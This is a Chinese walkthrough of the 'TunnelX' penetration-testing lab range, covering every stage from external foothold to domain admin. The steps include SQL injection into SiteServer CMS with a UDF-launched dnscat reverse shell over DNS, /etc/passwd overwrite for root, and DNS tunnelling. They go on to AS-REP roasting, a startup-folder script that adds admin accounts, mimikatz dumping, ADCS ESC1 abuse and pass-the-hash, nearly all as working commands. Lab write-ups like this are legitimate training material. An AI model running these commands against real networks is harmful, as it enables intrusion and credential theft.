内网渗透之春秋云镜(4)-TunnelX
字数 1153 2025-08-23 18:31:09

内网渗透之春秋云镜(4)-TunnelX 靶场教学文档

靶场概述

TunnelX靶场模拟了一个封闭的内网环境,主要考察以下技术点:

  • 不出网环境下的代理转发
  • 内网扫描和信息收集
  • Kerberos协议利用
  • 横向移动技术
  • 域环境核心认证机制

靶场包含4个flag,分布在不同的靶机上。

第二关:初始访问与隧道建立

信息收集

  1. 端口扫描发现:
    • 80端口:SiteServer CMS V6.15.51
    • 2121端口:FTP服务

FTP匿名登录利用

ftp 39.99.146.96 2121

发现secret.7z文件,下载后使用john爆破密码:

7z2john '/root/Desktop/secret.7z' > 1.txt
john '/root/1.txt' --wordlist='/root/Desktop/rockyou.txt'

密码为13131313,解压得到secret.txt,内容为API密钥:

e7d41890-5742-48f0-9f3c-1393db541fc7

SiteServer CMS API利用

通过文档得知可以使用API密钥代替账户密码登录。构造请求:

POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.100.183.36
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json
Content-Length: 131

{"siteId":1,"keyword":"' and 1=(select @@Version)--","groupId":0,"page":1,"perPage":24}

DNS隧道反弹shell

由于只有DNS流量出网,使用UDF和DNS隧道:

  1. 使用udf-dnscat.py脚本
  2. 在VPS上设置DNS解析(A记录和NS记录)
  3. 启动dnscat服务端:
docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb ns1.xxx.xxx -c datou
  1. 执行SQL注入触发反弹shell:
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.100.183.36
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json
Content-Length: 131

{"siteId":1,"keyword":"';select sys_eval('/tmp/dnscat --secret=datou ns1.xxx.xxx')-- ","groupId":0,"page":1,"perPage":24}

提权

  1. 查找SUID文件:
find / -perm -u=s -type f 2>/dev/null
  1. 使用cp提权,替换/etc/passwd:
cp /tmp/passwd1 /etc/passwd
su root
# 密码为123456

代理搭建

使用iodine建立DNS隧道:

  1. 客户端执行:
nohup sleep 20 && /tmp/iodine -f -P datou ns1.cqupt.team &
  1. 服务端执行:
iodined -f -c -P datou 192.168.0.1 ns1.cqupt.team -DD
  1. 创建SSH socks代理:
ssh -N -D 29999 root@192.168.0.2
  1. 配置frpc.ini:
[common]
server_addr = vpsip
server_port = 7000
[yj]
type = tcp
local_ip = 127.0.0.1
local_port = 29999
remote_port = 39999

第三关:权限提升至SYSTEM

内网扫描

使用fscan扫描内网:

fscan version: 1.8.2

发现以下主机:

  • 172.22.61.17 (DC)
  • 172.22.61.34 (WIN2012.xiaorang.lab)
  • 172.22.61.50 (Web.xiaorang.lab)
  • 172.22.61.41 (SSH: root/123456)

LDAP匿名查询

proxychains ldapsearch -H ldap://172.22.61.17 -b "DC=xiaorang,DC=lab" -x | grep ',CN=Users,DC=xiaorang,DC=lab'

AS-REP Roasting攻击

proxychains python3 '/root/Desktop/impacket-master12/examples/GetNPUsers.py' -dc-ip 172.22.61.17 -usersfile '/root/Desktop/users.txt' xiaorang.lab/

使用hashcat爆破:

hashcat -m 18200 '$krb5asrep$23$yangdming@XIAORANG.LAB:...' '/root/Desktop/rockyou.txt' --force

得到密码:kier@n10

横向移动

使用evil-winrm连接:

proxychains evil-winrm -i 172.22.61.34 -u yangdming -p kier@n10

上传SharpHound收集域信息:

./SharpHound.exe --ldapusername yangdming --ldappassword kier@n10 -c all

权限提升

  1. 创建add.bat:
@echo off
net localgroup administrators yangdming /add
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
net user benbi pass@123 /add
net localgroup administrators benbi /add
  1. 上传到启动目录:
cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
upload add.bat
  1. 重启系统:
shutdown -r -t 0
  1. 使用新账户连接:
proxychains python3 wmiexec.py benbi:pass@123@172.22.61.34

第四关:获取域管理员权限

添加hosts解析

172.22.61.17 xiaorang.lab
172.22.61.17 dc.xiaorang.lab

使用mimikatz抓取哈希

./mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

ADCS漏洞利用(ESC1)

  1. 查找漏洞:
proxychains certipy-ad find -u win2012\$@xiaorang.lab -hashes 00000000000000000000000000000000:b35fa31e83a934b872824eeb8d9426ea -dc-ip 172.22.61.17 -vulnerable
  1. 申请证书:
proxychains certipy-ad req -u win2012\$@xiaorang.lab -hashes 00000000000000000000000000000000:b35fa31e83a934b872824eeb8d9426ea -target 172.22.61.17 -ca xiaorang-DC-CA-CA -template win2012 -upn administrator@xiaorang.lab
  1. 获取TGT:
proxychains certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.61.17
  1. 使用哈希连接域控:
proxychains python3 '/root/Desktop/impacket-master12/examples/wmiexec.py' xiaorang.lab/administrator@172.22.61.17 -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53

第一关:获取数据库权限

通过已获得的域管理员权限横向移动到Web服务器:

proxychains python3 '/root/Desktop/impacket-master/examples/wmiexec.py' xiaorang.lab/administrator@172.22.61.50 -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53

关键工具列表

  1. udf-dnscat.py
  2. passwd.py
  3. iodine.py
  4. Impacket工具套件
  5. mimikatz
  6. certipy-ad
  7. SharpHound
  8. evil-winrm

总结

本靶场完整演示了从外网突破到内网渗透的全过程,重点包括:

  1. 不出网环境下的隧道建立技术
  2. Kerberos协议的攻击方法
  3. 域环境中的横向移动技术
  4. ADCS漏洞的实战利用
  5. 多种权限维持方法
内网渗透之春秋云镜(4)-TunnelX 靶场教学文档 靶场概述 TunnelX靶场模拟了一个封闭的内网环境,主要考察以下技术点: 不出网环境下的代理转发 内网扫描和信息收集 Kerberos协议利用 横向移动技术 域环境核心认证机制 靶场包含4个flag,分布在不同的靶机上。 第二关:初始访问与隧道建立 信息收集 端口扫描发现: 80端口:SiteServer CMS V6.15.51 2121端口:FTP服务 FTP匿名登录利用 发现secret.7z文件,下载后使用john爆破密码: 密码为 13131313 ,解压得到secret.txt,内容为API密钥: SiteServer CMS API利用 通过文档得知可以使用API密钥代替账户密码登录。构造请求: DNS隧道反弹shell 由于只有DNS流量出网,使用UDF和DNS隧道: 使用 udf-dnscat.py 脚本 在VPS上设置DNS解析(A记录和NS记录) 启动dnscat服务端: 执行SQL注入触发反弹shell: 提权 查找SUID文件: 使用cp提权,替换/etc/passwd: 代理搭建 使用iodine建立DNS隧道: 客户端执行: 服务端执行: 创建SSH socks代理: 配置frpc.ini: 第三关:权限提升至SYSTEM 内网扫描 使用fscan扫描内网: 发现以下主机: 172.22.61.17 (DC) 172.22.61.34 (WIN2012.xiaorang.lab) 172.22.61.50 (Web.xiaorang.lab) 172.22.61.41 (SSH: root/123456) LDAP匿名查询 AS-REP Roasting攻击 使用hashcat爆破: 得到密码: kier@n10 横向移动 使用evil-winrm连接: 上传SharpHound收集域信息: 权限提升 创建add.bat: 上传到启动目录: 重启系统: 使用新账户连接: 第四关:获取域管理员权限 添加hosts解析 使用mimikatz抓取哈希 ADCS漏洞利用(ESC1) 查找漏洞: 申请证书: 获取TGT: 使用哈希连接域控: 第一关:获取数据库权限 通过已获得的域管理员权限横向移动到Web服务器: 关键工具列表 udf-dnscat.py passwd.py iodine.py Impacket工具套件 mimikatz certipy-ad SharpHound evil-winrm 总结 本靶场完整演示了从外网突破到内网渗透的全过程,重点包括: 不出网环境下的隧道建立技术 Kerberos协议的攻击方法 域环境中的横向移动技术 ADCS漏洞的实战利用 多种权限维持方法